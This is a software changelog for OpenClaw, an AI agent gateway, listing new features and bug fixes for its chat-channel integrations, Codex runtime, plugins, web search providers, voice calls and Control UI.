• Voice Call/Google Meet: add Twilio Meet join phase logs around pre-connect DTMF, realtime stream setup, and initial greeting handoff for easier live-call debugging. Thanks @donkeykong91 and @PfanP.

• macOS app: move recent session context rows into a Context submenu while keeping usage and cost details root-level, so the menu bar companion stays compact with many active sessions. Thanks @Guti.

• Gateway/SDK: add SDK-facing tools.invoke RPC with shared HTTP policy, typed approval/refusal results, and SDK helper support. Refs #74705. Thanks @BunsDev and @ai-hpc.

• Discord: keep active buttons, selects, and forms working across Gateway restarts until they expire, so multi-step Discord interactions are less likely to break during upgrades or restarts. Thanks @amknight.

• Messages/docs: clarify that BodyForAgent is the primary inbound model text while Body is the legacy envelope fallback, and add Signal coverage so channel hardening patches target the real prompt path. Refs #66198. Thanks @defonota3box.

• Slack: publish a safe default App Home tab view on app_home_opened and include the Home tab event in setup manifests. Fixes #11655; refs #52020. Thanks @TinyTb.

• Slack: keep track of bot-participated threads across restarts, so ongoing threaded conversations can continue auto-replying after the Gateway is restarted. Thanks @amknight.

• Control UI/Usage: add UTC quarter-hour token buckets for the Usage Mosaic and reuse them for hour filtering, keeping the legacy session-span fallback for older summaries. (#74337) Thanks @konanok.

• BlueBubbles: add opt-in channels.bluebubbles.replyContextApiFallback that fetches the original message from the BlueBubbles HTTP API when the in-memory reply-context cache misses (multi-instance deployments sharing one BB account, post-restart, after long-lived TTL/LRU eviction). Off by default; channel-level setting propagates to accounts that omit the flag through mergeAccountConfig; routed through the typed BlueBubblesClient so every fetch is SSRF-guarded by the same three-mode policy as every other BB client request; reply-id shape is validated and part-index prefixes (p:0/<guid>) are stripped before the request; concurrent webhooks for the same replyToId coalesce into one fetch and successful responses populate the reply cache for subsequent hits. Also promotes BlueBubbles attachment download failures from verbose to runtime error so silently-dropped inbound images are visible at default log level, and extends sanitizeForLog to redact ?password=…/?token=… query params and Authorization: headers before they reach the log sink (CWE-532). (#71820) Thanks @coletebou and @zqchris.

• CLI/proxy: add openclaw proxy validate so operators can verify effective proxy configuration, proxy reachability, and expected allow/deny destination behavior before deploying proxy-routed OpenClaw commands. (#73438) Thanks @jesse-merhi.

• Agents/Codex: default Codex app-server dynamic tools to native-first, keeping OpenClaw integration tools while leaving file, patch, exec, and process ownership to the Codex harness. (#75308) Thanks @pashpashpash.

• Agents/Codex: default Codex-harness direct source replies to the OpenClaw message tool when visible reply delivery is not explicitly configured, keeping channel-visible output as a deliberate tool call. (#75765) Thanks @pashpashpash.

• Heartbeats/agents: add a structured heartbeat_respond tool for tool-capable heartbeat runs so agents can record quiet outcomes or explicit notification text without relying only on HEARTBEAT_OK parsing. (#75765) Thanks @pashpashpash.

• Gateway/config: allow $include directives to read files from operator-approved OPENCLAW_INCLUDE_ROOTS directories while preserving default config-directory confinement. Thanks @ificator.

Fixes

• Agents/OpenAI: default GPT-5 API-key sessions to the SSE Responses transport unless WebSocket is explicitly selected, restoring replies in fresh Control UI and WebChat beta installs where the auto WebSocket path connected but produced no model events.

• Agents/sessions: preserve terminal lifecycle state when final run metadata persists from a stale in-memory snapshot, preventing sessions from staying stuck as running after completed or timed-out turns.

• Gateway/CLI: make openclaw gateway start repair stale managed service definitions that point at old OpenClaw versions, missing binaries, or temporary installer paths before starting.

• Updates/plugins: keep packaged upgrades and beta external plugin installs on stable runtime aliases and matching prerelease npm specs, avoiding stale WebChat runtime chunks and old Twitch packages after upgrading from 2026.4.29.

• Codex/app-server: resolve managed binaries from bundled dist chunks and from the @openai/codex package bin when installs do not provide a nearby .bin/codex shim, avoiding false missing-binary startup failures.

• Status: show the openai-codex OAuth profile for openai/gpt-* sessions running through the native Codex runtime instead of reporting auth as unknown. (#76197) Thanks @mbelinky.

• Plugins/ClawHub: use the ClawHub artifact resolver response as the install decision before downloading, keeping legacy ZIP fallback and future ClawPack npm-pack installs on the same explicit resolver path. Thanks @vincentkoc.

• Plugins/ClawHub: keep bare plugin package specs on npm for the launch cutover and reserve ClawHub resolution for explicit clawhub: specs until ClawHub pack readiness is deployed. Thanks @vincentkoc.

• Plugins/source checkout: discover source-only plugins such as Codex from the extensions/* workspace while using npm package excludes as the packaged-core boundary, removing the stale core-bundle metadata path.

• Plugins/ClawHub: install ClawPack artifacts from the explicit npm-pack .tgz resolver path and persist artifact kind, npm integrity, shasum, and tarball metadata for update and diagnostics flows. Thanks @vincentkoc.

• Control UI: allow deployments to configure grouped chat message max-width with a validated gateway.controlUi.chatMessageMaxWidth setting instead of patching bundled CSS after upgrades. Fixes #67935. Thanks @xiew4589-lang.

• Control UI/Cron: ignore malformed persisted cron rows without valid payloads before they enter UI state and guard stale cron render paths, preventing blank Control UI sections after a bad cron snapshot. Fixes #55047 and #54439; supersedes #54550 and #54552.

• Control UI/sessions: bound the default Sessions tab query to recent activity and fewer rows, avoiding expensive full-history loads while keeping filters editable. Fixes #76050. (#76051) Thanks @Neomail2.

• Gateway/channels: cap startup fanout at four channel/account handoffs and recover from Bonjour ciao self-probe races, reducing Windows startup stalls with many Telegram accounts. Fixes #75687.

• Gateway/sessions: keep sessions.list polling responsive on large session stores by reusing list-safe session cache/indexes and returning a lightweight compaction checkpoint preview instead of heavyweight summaries. Thanks @rolandrscheel.

• Control UI/Gateway: keep long-running dashboard WebSocket sessions alive with protocol pings and keep Stop available after reconnect or reload by recovering session-scoped active-run abort state. Fixes #70991. Thanks @alexandre-leng.

• CLI/update: treat inherited Gateway service markers as origin hints and only block package replacement when the managed Gateway is still live, so self-updates can stop the service and continue safely. (#75729) Thanks @hxy91819.

• Agents/failover: exempt run-level timeouts that fire during tool execution from model fallback, timeout-triggered compaction, and generic timeout payload synthesis, avoiding misleading "LLM request timed out" errors after the primary model has already responded. Fixes #52147. (#75873) Thanks @simonusa.

• Docker: copy Bun 1.3.13 from a digest-pinned image and keep CI on the same version. Fixes #74356. Thanks @fede-kamel and @sallyom.

• Agents/compaction: keep prior context on consecutive turns against z.ai-style providers (z.ai direct, openrouter z-ai/*, in-house GLM gateways), avoiding accidental Pi state reset after successful turns. (#76056) Thanks @openperf.

• Doctor/plugins: run a one-time 2026.5.2 configured-plugin install repair based on meta.lastTouchedVersion, installing actively used downloadable OpenClaw plugins through the configured external source before marking the config touched for the release.

• Sessions/transcripts: use one session.writeLock.acquireTimeoutMs policy for session transcript lock acquisitions and raise the default wait to 60 seconds, avoiding user-visible lock timeouts during legitimate slow prep, cleanup, compaction, and mirror work. Fixes #75894. Thanks @shandutta.

• Control UI: contain the standalone iOS PWA viewport with safe-area-aware document locking, so Add-to-Home-Screen launches cannot scroll past the device bounds. Refs #76072. Thanks @kvncrw.

• Agents/restart recovery: match cleaned transcript locks by exact transcript lock paths plus the canonical session fallback, so interrupted main sessions using topic-suffixed transcripts resume after gateway restart. Refs #76052. Thanks @anyech.

• Agents/runtime: cache the stable system-prompt prefix and reuse prompt-report tool schema stats during dispatch prep, reducing repeated CPU work before streaming starts. Fixes #75999; supersedes #76061. Thanks @zackchiutw and @STLI69.

• Control UI/WebChat: use high-contrast text selection colors so highlighted chat text stays visible across themes. Fixes #60850; supersedes #60854. Thanks @Badschaff and @efe-arv.

• Telegram/native commands: pass persisted session files into plugin commands for topic-bound sessions, so /codex bind works from Telegram forum topics. Refs #75845 and #76049. Thanks @MatthewSchleder.

• Security audit/plugins: ignore plugin install backup, disabled, and dependency debris directories when enumerating installed plugin roots, avoiding false-positive findings for .openclaw-install-backups after plugin updates. Fixes #75456.

• Telegram: honor runtime conversation bindings for native slash commands in bound top-level groups, so commands like /status@bot route to the active non-main session instead of falling back to the default route. Fixes #75405; supersedes #75558. Thanks @ziptbm and @yfge.

• Gateway/tasks: make task registry maintenance use pass-local backing-session lookups and fresh active child-session indexes, avoiding repeated full task snapshots and session-store clones on large stale registries. Fixes #73517 and #75708; supersedes #74406 and #75709. Thanks @Lightningxxl, @glfruit, and @jared-rebel.

• Auth/sessions: JSON-clone auth-profile cache/runtime snapshots and remaining session cleanup previews instead of using structuredClone, preserving mutation isolation while avoiding native-memory growth on large stores. Fixes #45438. Thanks @markus-lassfolk.

• Models CLI: restore openclaw models list --provider <id> catalog and registry fallback rows for unconfigured providers, so provider-specific verification commands no longer report "No models found." Fixes #75517; supersedes #75615. Thanks @lotsoftick and @koshaji.

• Gateway/macOS: write LaunchAgent services with a canonical system PATH and stop preserving old plist PATH entries, so Volta, asdf, fnm, and pnpm shell paths no longer affect gateway child-process Node resolution. Fixes #75233; supersedes #75246. Thanks @nphyde2.

• Slack/hooks: preserve bot alert attachment text in message-received hook content when command text is blank. Fixes #76035; refs #76036. Thanks @amsminn.

• Sessions/agents: route Gateway session-store writes, CLI cleanup maintenance, and agent-delete session purges through a dedicated in-process writer and borrow the validated mutable cache during the writer slot, avoiding runtime file locks plus repeated sessions.json rereads and JSON clones on hot metadata updates. Refs #68554. Thanks @henkterharmsel.

• Control UI/chat: show inline feedback when local slash-command dispatch is unavailable or fails unexpectedly instead of clearing the composer silently. Fixes #52105. Thanks @MooreQiao.

• Memory/markdown: replace CRLF managed blocks in place and collapse duplicate marker blocks without rewriting unmanaged markdown, so Dreaming and Memory Wiki files self-heal from repeated generated sections. Fixes #75491; supersedes #75495, #75810, and #76008. Thanks @asaenokkostya-coder, @ottodeng, @everettjf, and @lrg913427-dot.

• Agents/tools: return critical tool-loop circuit-breaker stops as blocked tool results instead of thrown tool failures, so models see the guardrail and stop retrying the same call. Thanks @rayraiser.

• Agents/sessions: preserve pre-existing runtime model and context window after heartbeat turns so a per-run heartbeat model override does not bleed into shared-session status. Fixes #75452. Thanks @zhangguiping-xydt.

• Model commands: clarify direct and inline /model acknowledgements for non-default selections as session-scoped. Thanks @addu2612.

• Doctor/gateway: stop warning that non-existent, unconfigured user-bin directories are required in the Gateway service PATH. Fixes #76017. Thanks @xiphis.

• TUI/chat: skip full provider model normalization during context-window warmup while preserving provider-owned context metadata, avoiding cold-start stalls with large model registries. Thanks @547895019.

• Agents: enable malformed tool-call argument repair for Codex and Azure OpenAI Responses transports while keeping generic OpenAI Responses paths out of the repair gate. Fixes #75154. Thanks @Nimraakram22.

• Memory Wiki: accept relative Markdown links that include the .md suffix during broken-wikilink validation, avoiding false positives for native render-mode links. Thanks @Kenneth8128.

• OpenAI Codex: show the device-pairing code in the interactive SSH/headless prompt while keeping the short-lived code out of persistent runtime logs. Fixes #74212. Thanks @da22le123.

• QA Lab: stop gateway children when the suite parent disappears, so interrupted local QA runs cannot leave hot orphaned gateways behind.

• Codex/app-server: tolerate a second connection close during startup recovery and include retry counts plus stringified errors in the restart warning, so concurrent lanes do not fail after one shared-client race.

• Plugins/CLI: cache plugin CLI registration entries per command program so completion state generation does not repeat the full plugin sweep in one invocation. Thanks @ScientificProgrammer.

• Plugins: reuse gateway-bindable plugin loader cache entries for later default-mode loads without serving default-built registries to gateway-bound requests, reducing repeated plugin registration during dispatch. Refs #61756. Thanks @DmitryPogodaev.

• Gateway/secrets: include the caught error message in secrets.reload and secrets.resolve warning logs while keeping RPC errors generic, so operators can diagnose reload and permission failures. Thanks @davidangularme.

• Providers/OpenRouter: fill DeepSeek V4 reasoning_content replay placeholders for openrouter/deepseek/deepseek-v4-flash and openrouter/deepseek/deepseek-v4-pro, so thinking/tool follow-up turns do not fail with DeepSeek's replay-shape error. Fixes #76018. Thanks @cloph-dsp.

• Anthropic-compatible streams: recover text deltas that arrive before their matching content block, so Kimi Code and similar providers do not finish as empty incomplete_result replies. Fixes #76007. Thanks @vliuyt.

• fix(infra): block workspace state-directory env override [AI]. (#75940) Thanks @pgondhi987.

• MCP/OpenAI: normalize parameter-free tool schemas whose top-level object properties is missing, null, or invalid before sending tools to OpenAI, so MCP tools without params stay usable. Fixes #75362. Thanks @tolkonepiu and @SymbolStar.

• TTS: honor explicit short [[tts:text]]...[[/tts:text]] blocks while keeping untagged short auto-TTS suppressed, so tagged voice replies are synthesized instead of being dropped as empty voice-only payloads. Fixes #73758. Thanks @yfge.

• Hooks/doctor: warn when hooks.transformsDir points outside the canonical hooks transform directory, so invalid workspace skill paths get a direct recovery hint before the Gateway crash-loops. Fixes #75853. Thanks @midobk.

• Proxy/audio: convert standard FormData bodies before proxy-backed undici fetches, so audio transcription and multipart uploads no longer send [object FormData] when HTTP_PROXY or HTTPS_PROXY is configured. Fixes #48554. Thanks @dco5.

• Discord: allow explicitly configured ack reactions in tool-only guild channels while keeping automatic lifecycle/status reactions suppressed. Fixes #74922. Thanks @samvilian and @BlueBirdBack.

• Discord: enable session-backed A2A announce target lookup so sessions_send uses the target session's deliveryContext.accountId or lastAccountId instead of falling back to the default bot in multi-account setups. Fixes #42652; refs #51626 and #44773; supersedes #73975. Thanks @irchelper, @dpalfox, and @Lanfei.

• Discord/setup: write resolved guild/channel allowlist selections to the selected guild and channel instead of falling back to the wildcard guild during setup. Supersedes #47788. Thanks @Eldersonar.

• Discord: treat abort-time Carbon reconnect-exhausted events as expected shutdown during stale-socket restarts, so health-monitor restarts no longer reject the monitor lifecycle. Carries forward #58216; supersedes #73949. Thanks @Perttulands.

• Discord/native commands: return an explicit warning when slash command dispatch or direct plugin execution produces no visible reply instead of a success-style completion ack. Fixes #58986; supersedes #62057. Thanks @jb510.

• Discord: keep typing indicators alive during long tool runs and auto-compaction while keepalive ticks continue, so active sessions do not appear stalled before the final reply. Thanks @Squirbie.

• Discord: preserve multipart Content-Type headers for attachment uploads across REST fetch paths, so generated images and other media no longer fail delivery with CONTENT_TYPE_INVALID. Thanks @FunJim.

• Discord: preserve attachment and sticker filenames when saving inbound media, so agents can see human-readable file names instead of only UUID-based paths. Fixes #59744. Thanks @xela92 and @rockcent.

• Discord: preserve non-ASCII channel names in session display labels while keeping allowlist matching on the existing ASCII slug contract. Thanks @swjeong9.

• Discord/PluralKit: canonicalize proxied webhook turns to the original Discord message id for inbound dedupe, while preserving the proxy message id for reply routing. Thanks @acgh213.

• Discord: only inject thread starter context on the first turn of the effective thread session, so follow-up thread replies do not repeat the starter block. Fixes #41355; supersedes #44447 and #44449. Thanks @p3nchan.

• Discord: resolve thread ownerId and parentId from Discord API-style snake_case payload fields, so bot-owned autoThreads do not require unnecessary mentions. Thanks @mgh3326.

• Gateway/diagnostics: include a bounded redacted startup error message in stability bundles, so crash-loop reports identify the failing plugin or contract without exposing secrets. Refs #75797. Thanks @ymebosma.

• Gateway/pricing: defer optional model pricing catalog refresh until after sidecars and channels reach the ready path, so slow OpenRouter or LiteLLM pricing fetches cannot block Gateway readiness. Fixes #74128; supersedes #73486. Thanks @ctbritt and @alprclbi.

• Gateway/pricing: abort in-flight model pricing catalog fetches when Gateway shutdown stops the refresh loop, and avoid post-stop cache writes or refresh timers. Fixes #72208. Thanks @rzcq.

• Codex/app-server: make startup retry cleanup ownership-aware so concurrent Codex lanes cannot close another lane's freshly restarted shared app-server client. Thanks @vincentkoc.

• Google Meet/Twilio: report missing dial-in details during setup and explain that Twilio cannot join Meet URLs without a phone dial plan.

• Google Meet/Twilio: start the phone leg before sending Meet PIN DTMF, delay intro speech until after the post-connect dial sequence, and log each stage so operators can tell Twilio-leg audio from Meet-room audio.

• Voice Call: accept provider call IDs for gateway speak/continue requests and report ended-call state from history instead of returning a generic "Call not found" for stale calls.

• Control UI/Talk: allow the OpenAI Realtime WebRTC offer endpoint through the Control UI CSP, configure browser sessions with explicit VAD/transcription input settings, and surface OpenAI realtime error/lifecycle events instead of leaving Talk stuck as live with no diagnostic. Fixes #73427.

• Plugins: clarify config-selected duplicate plugin override diagnostics and document manifest schema updates for bundled-plugin forks. Fixes #8582. Thanks @sachah.

• CLI backends/Claude: make live-session JSONL turn caps bounded and configurable via reliability.outputLimits, raising the default guard for tool-heavy Claude CLI turns while preserving memory limits. Fixes #75838. Thanks @hcordoba840.

• Telegram/DMs: keep incidental message_thread_id reply-with-quote metadata on the flat DM session by default while preserving opt-in DM topic isolation for configured topics, dm.threadReplies, and direct.<chatId>.threadReplies. Fixes #75975. Thanks @ProjectEvolutionEVE.

• Telegram/network: raise outbound text and typing Bot API request guards to 60 seconds, keep low grammY client timeouts from preempting those guards, let higher timeoutSeconds configs extend safe method guards, and retry timed-out typing indicators through the transport fallback without risking duplicate messages. Fixes #76013. Thanks @iaki1206.

• Telegram/native commands: register and clear command menus in both default and group-chat scopes, so /status and plugin commands stay available in forum topics. Fixes #74032; updates #6457. Thanks @dae-sun and @WouldenShyp.

• Providers/OpenAI: resolve keychain:<service>:<account> OPENAI_API_KEY refs before creating OpenAI Realtime browser sessions or voice bridges, with a bounded cached Keychain lookup. Fixes #72120. Thanks @ctbritt.

• Discord/gateway: reconnect when the gateway socket closes while waiting for the shared IDENTIFY concurrency window, instead of silently skipping IDENTIFY and leaving the bot online but unresponsive. Fixes #74617. Thanks @zeeskdr-ai.

• Voice Call: add sessionScope: "per-call" for fresh per-call agent memory while preserving the default per-phone caller history. Fixes #45280. Thanks @pondcountry.

• Music generation: raise too-small tool timeouts to the provider-safe 10-second floor and collapse cascading abort fallback errors into a clearer root-cause summary. Thanks @shakkernerd.

• Memory-core/dreaming: include the primary runtime workspace in multi-agent dreaming sweeps without mixing main-agent session transcripts into configured subagent workspaces. Fixes #70014. Thanks @ttomiczek.

• Control UI: add tab/RPC timing attribution and decouple slow Overview/Cron secondary refreshes so Sessions navigation gets immediate visible feedback. Refs #64004. Thanks @WaMaSeDu.

• Memory: retry transient SQLite index file swaps during atomic reindex on Windows, so brief EBUSY, EPERM, or EACCES locks do not fail memory rebuilds. Fixes #64187. Thanks @kunpeng-ai-lab.

• Telegram/startup: use the existing getMe request guard for the gateway bot probe instead of a fixed 2.5-second budget, and honor higher timeoutSeconds configs for slow Telegram API paths. Fixes #75783. Thanks @tankotan.

• Telegram/models: make model picker confirmations say selections are session-scoped and do not change the agent's persistent default. Fixes #75965. Thanks @sd1114820.

• Control UI/slash commands: keep fallback command metadata on a browser-safe registry path, so provider thinking runtime imports cannot blank the Web UI with process is not defined. Fixes #75987. Thanks @novkien.

• Heartbeat/Discord: keep async exec completion events out of the generic System (untrusted) prompt block and let the dedicated exec heartbeat prompt handle them, so Discord no longer receives raw exec failure tails as separate system-style messages. Fixes #66366. Thanks @Promee-ThaBossHoss.

• Channels: strip plain-text MiniMax and XML tool-call scaffolding from shared user-facing reply sanitization, so messaging channels do not deliver raw model tool syntax when a provider emits it as text instead of structured tool calls. Fixes #62820. Thanks @canh0chua.

• Infer/media: report missing image-understanding and audio-transcription provider configuration for image describe, image describe-many, and audio transcribe instead of blaming the input path when no provider is available. Fixes #73569 and supersedes #73593, #74288, and #74495. Thanks @bittoby, @tmimmanuel, @Linux2010, and @vyctorbrzezowski.

• Docs/health: clarify that session listing surfaces stored conversation rows rather than Discord/channel socket liveness, and point connectivity checks at channel status and health probes. Fixes #70420. Thanks @ashersoutherncities-art and @martingarramon.

• WhatsApp/Cron: keep DM pairing-store approvals out of implicit cron and heartbeat recipient fallback, so scheduled automation only uses explicit targets, active configured recipients, or configured allowFrom entries. Fixes #62339. Thanks @kelvinisly-collab.

• Google Meet: keep the agent-facing google_meet tool visible on non-macOS hosts but block local Chrome realtime actions with guidance, so Linux agents can still use transcribe, Twilio, chrome-node, and artifact flows without choosing the macOS-only BlackHole path. Refs #75950. Thanks @actual-software-inc.

• macOS/settings: keep opening General from rewriting openclaw.json during Tailscale settings hydration, preserving gateway, auth, meta, and wizard until the user changes a setting. Fixes #59545. Thanks @Tengdw.

• Discord: prioritize interaction callbacks ahead of stale background REST work without polling active REST buckets, validate oversized gateway payloads and member-intent requests before send, and forward explicit component payloads from message actions. (#75363)

• Active Memory: use the configured recall timeout as the blocking prompt-build hook budget by default and move cold-start setup grace behind explicit setupGraceTimeoutMs config, so the plugin no longer silently extends 15000 ms configs to 45000 ms on the main lane. Fixes #75843. Thanks @vishutdhar.

• Plugins/web-provider: reuse the active gateway plugin registry for runtime web provider resolution after deriving the same candidate plugin ids as the loader path, avoiding a redundant loadOpenClawPlugins call on every request while preserving origin and scope filters. Fixes #75513. Thanks @jochen.

• Crestodian/CLI: exit non-zero when interactive Crestodian is invoked without a TTY, so scripts and CI no longer treat the setup error as success. Fixes #73646 and supersedes #73928 and #74059. Thanks @bittoby, @luyao618, and @Linux2010.

• Cron: keep implicit/default isolated cron announce deliveries out of the main session awareness queue, so isolated jobs do not accumulate in the main conversation. Fixes #61426. Thanks @Lihannon.

• Subagents: avoid duplicate parent-visible replies when a parent uses sessions_send on its own persistent native subagent session, while preserving announce delivery for async sends. Fixes #73550. Thanks @sylviazhang2006-design.

• Web search/Brave: add opt-in brave.http diagnostics for Brave request URLs/query params, response status/timing, and cache hit/miss/write events without logging API keys or response bodies. Fixes #55196. Thanks @mecampbellsoup.

• Web search/Brave: add plugins.entries.brave.config.webSearch.baseUrl for Brave-compatible proxies, including endpoint-aware cache keys for both web and LLM Context modes. Fixes #19075. Thanks @jkoprax and @vishnukool.

• Web search/config: validate explicit tools.web.search.provider values against bundled and installed plugin manifests, while warning for stale third-party plugin config. Fixes #53092. Thanks @TinyTb.

• Web search/SearXNG: retry empty non-general category searches once with the general category, so unsupported category engines do not return empty results when general search has matches. Fixes #73552. Thanks @Loukky.

• CLI/message: skip gateway-stop hooks for read-only message read and bound stop-hook shutdown for other message actions, so one-shot Discord reads cannot hang behind plugin lifecycle cleanup.

• Plugins/web-provider: cache repeated bundled web search and web fetch provider registry loads by default while preserving explicit cache opt-outs. Supersedes #75992. Thanks @DmitryPogodaev.

• Agents/sandbox: preserve existing workspace file modes when sandbox edits atomically replace files, so 0644 files do not collapse to 0600 after Write/Edit/apply_patch. Fixes #44077. Thanks @patosullivan.

• Control UI/WebChat: route typed /new through the New Chat dashboard-session creation flow instead of chat.send, while keeping /reset as the explicit current-session reset. Fixes #69599. Thanks @WolvenRA.

• Agents/models: keep legacy CLI runtime model refs such as claude-cli/* in the configured allowlist after canonical runtime migration, so cron payload.model overrides keep working. Fixes #75753. Thanks @RyanSandoval.

• Codex/app-server: restart the shared Codex app-server client once when it closes during startup thread resume, preserving the existing thread binding instead of retrying thread/start on a closed client. Thanks @vincentkoc.

• Gateway/watch: keep colored subsystem log prefixes in the managed tmux pane even when the parent shell exports NO_COLOR, while preserving explicit FORCE_COLOR=0 opt-out. Thanks @vincentkoc.

• Agents/compaction: submit a non-empty runtime-event marker for pre-compaction memory flush turns, so strict Anthropic providers no longer reject the silent flush as an empty user message. Fixes #75305. Thanks @sableassistant3777-source.

• Plugin SDK: re-export isPrivateIpAddress from plugin-sdk/ssrf-runtime, restoring source-checkout builds for SearXNG and Firecrawl private-network guards. Thanks @vincentkoc.

• Discord/message actions: advertise upload-file and route it through Discord's send runtime with agent-scoped media reads, so agents can discover and send file attachments. Fixes #60652 and supersedes #60808, #61087, and #61100. Thanks @claw-io, @efe-arv, @joelnishanth, and @sjhddh.

• Sessions: suppress exact inter-session control replies such as NO_REPLY and keep agent-to-agent announce bookkeeping out of visible transcripts. Fixes #53145. Thanks @TarahAssistant.

• CLI/directory: report unsupported directory operations for installed channel plugins instead of prompting to reinstall the plugin when it lacks a directory adapter. Fixes #75770. Thanks @lawong888.

• Web search/SearXNG: show the JSON API search.formats prerequisite during SearXNG setup before prompting for the base URL. Supersedes #65592. Thanks @evanpaul14.

• Web search/SearXNG: pass through img_src image URLs from SearXNG image-category results. Supersedes #61416. Thanks @sghael.

• Web search/Kimi: fail explicitly when Moonshot returns an ungrounded chat answer instead of native web-search evidence, so Kimi no longer reports generic fallback text as a successful search. Fixes #52573. Thanks @wangwllu.

• Web search: keep public provider requests on the strict SSRF guard and reserve private-network access for explicit self-hosted SearXNG/Firecrawl endpoints. Fixes #74357 and supersedes #74360. Thanks @fede-kamel.

• Firecrawl: reject private, loopback, metadata, and non-HTTP(S) firecrawl_scrape target URLs before forwarding them to Firecrawl. Supersedes #48133. Thanks @kn1ghtc.

• Web search/Firecrawl: allow self-hosted private/internal Firecrawl baseUrl endpoints, including HTTP for private targets, while keeping hosted Firecrawl on the strict official endpoint. Fixes #63877 and supersedes #59666, #63941, and #74013. Thanks @jhthompson12, @jzakirov, @Mlightsnow, and @shad0wca7.

• CLI/models: report gateway model fallback attempts in infer model run --json and avoid double-prefixing provider-qualified defaults such as openrouter/auto in models status. Partially fixes #69527. Thanks @alexifra.

• Providers/OpenRouter: strip trailing assistant prefill turns from verified OpenRouter Anthropic model requests when reasoning is enabled, so Claude 4.6 routes no longer fail with Anthropic's prefill rejection through the OpenAI-compatible adapter. Fixes #75395. Thanks @sbmilburn.

• Voice Call: add per-number inbound routing for dialed-number greetings, response agents/models/prompts, and TTS voice overrides. Fixes #56604. Thanks @healthstatus.

• Feishu: preserve Feishu/Lark HTTP error bodies for message sends, media sends, and chat member lookups, so HTTP 400 failures include vendor code, message, log id, and troubleshooter details. Fixes #73860. Thanks @desksk.

• Agents/transcripts: avoid reopening large Pi transcript files through the synchronous session manager for maintenance rewrites, persisted tool-result truncation, manual compaction boundary hardening, and queued compaction rotation. Thanks @mariozechner.

• Web search/Exa: accept plugins.entries.exa.config.webSearch.baseUrl, normalize it to the Exa /search endpoint, and partition cached results by endpoint. Fixes #54928 and supersedes #54939. Thanks @mrpl327 and @lyfuci.

• Web search/MiniMax: include MiniMax Search in the web-search setup flow and let MINIMAX_API_KEY participate in MiniMax Search auto-detection. Supersedes #65828. Thanks @Jah-yee.

• Plugins/ClawHub: preserve official source-linked trust through archive installs, so OpenClaw can install trusted ClawHub plugin packages that trigger the built-in dangerous-pattern scanner. Thanks @vincentkoc.

• Plugins/ClawHub: install package runtime dependencies for archive-backed plugin installs, so ClawHub packages such as WhatsApp load declared dependencies after download. Thanks @vincentkoc.

• Plugins/tools: cache repeated plugin tool factory results only for matching request context, reducing per-turn tool prep without leaking sandbox, session, browser, delivery, or runtime config state. Fixes #75956. Thanks @Linux2010.

• Providers/LM Studio: allow models.providers.lmstudio.params.preload: false to skip OpenClaw's native model-load call so LM Studio JIT loading, idle TTL, and auto-evict can own model lifecycle. Fixes #75921. Thanks @garyd9.

• Agents/transcripts: keep chat history, restart recovery, fork token checks, and stale-token compaction checks on bounded async transcript reads or cached async indexes instead of reparsing large session files. Thanks @mariozechner.

• Telegram: inherit the process DNS result order for Bot API transport and downgrade recovered sticky IPv4 fallback promotions to debug logs, while keeping pinned-IP escalation warnings visible. Fixes #75904. Thanks @highfly-hi and @neeravmakwana.

• Sessions: keep durable external conversation pointers, including group and thread-scoped chat sessions, out of age, count, and disk-budget maintenance eviction while still allowing synthetic runtime entries to age out. Fixes #58088. Thanks @drinkflav.

• Web search/MiniMax: allow MINIMAX_OAUTH_TOKEN to satisfy MiniMax Search credentials, so OAuth-authorized MiniMax Token Plan setups do not need a separate web-search key. Fixes #65768. Thanks @kikibrian and @zhouhe-xydt.

• Providers/MiniMax: derive Coding Plan usage polling from the configured MiniMax base URL, so global setups no longer query the CN usage host. Fixes #65054. Thanks @sixone74 and @Yanhu007.

• Control UI/WebChat: skip assistant-media transcript supplements when stale media refs resolve to no playable media, so text-only final replies are not stored a second time as gateway-injected assistant messages. Fixes #73956. Thanks @HemantSudarshan.

• Sessions: reject sessions_send targets that resolve to thread-scoped chat sessions, so inter-agent coordination cannot be injected into active human-facing Slack or Discord threads. Fixes #52496. Thanks @barry-p5cc.

• Subagents: honor sessions_spawn with expectsCompletionMessage: false by skipping parent completion handoff delivery while still running child cleanup. Fixes #75848. Thanks @alfredjbclaw.

• Media/completions: treat media-only message-tool sends as delivered async completion output, avoiding duplicate raw MEDIA: fallback posts after video or music generation finishes.

• Gateway/logging: keep deferred channel startup logs on the subsystem logger, so Slack, Discord, Telegram, and voice-call startup messages keep timestamped prefixes. Thanks @vincentkoc.

• Codex/app-server: recover JSON-RPC frames split by raw command-output newlines and include a redacted preview when malformed app-server messages still reach the console. Thanks @vincentkoc.

• Replies/typing: keep typing alive for queued follow-up messages that are genuinely waiting behind an active run, instead of making chat surfaces look idle while work is queued. Fixes #65685. Thanks @papag00se.

• ACP/Discord: suppress completion announce delivery for inline thread-bound ACP session runs, so Discord thread-bound ACP replies are not delivered twice. Fixes #60780. Thanks @solavrc.

• Discord/threads: ignore webhook-authored copies in already-bound Discord session threads even when the webhook id differs, preventing PluralKit proxy copies from creating duplicate turn pressure. Fixes #52005. Thanks @acgh213.

• Discord/threads: return the created thread as partial success when the follow-up initial message fails, so agents do not retry thread creation and create empty duplicate threads. Fixes #48450. Thanks @dahifi.

• Discord/components: consume every button or select in a non-reusable component message after the first authorized click, so single-use panels cannot fire sibling callbacks. Fixes #54227. Thanks @fujiwarakasei.

• macOS/config: preserve existing gateway.auth and unrelated config keys during app fallback writes, so dashboard or Talk settings changes cannot strand Control UI clients by dropping persisted auth. Fixes #75631. Thanks @Fuma2013.

• Control UI/TUI: keep reconnecting chat sends bound to the same backing session id and let TUI relaunches resume the last selected session, avoiding silent fresh sessions after refresh, reconnect, or terminal restart. Fixes #63195, #68162, and #73546. Thanks @bond260312-cmyk, @zhong18804784882, and @mtuwei.

• Plugins/tools: let plugin manifests declare static tool availability so reply startup skips unavailable plugin tool runtimes instead of importing factories that only return null. Thanks @shakkernerd.

• Discord/reactions: skip reaction listener registration when DMs and group DMs are disabled and every configured guild has reactionNotifications: "off", avoiding needless reaction-event queue work. Fixes #47516. Thanks @x4v13r1120.

• CLI sessions: preserve explicit manual-attach reuse bindings so trusted CLI sessions are not invalidated on the first turn when auth, prompt, or MCP fingerprints drift. Fixes #75849. Thanks @alfredjbclaw.

• Telegram/streaming: keep partial preview streaming enabled for plain reply-to replies, disabling drafts only for real native quote excerpts that require Telegram quote parameters. Fixes #73505. Thanks @choury.

• Config: log the "newer OpenClaw" version warning once per process instead of once per config snapshot read. (#75927) Thanks @RomneyDa.

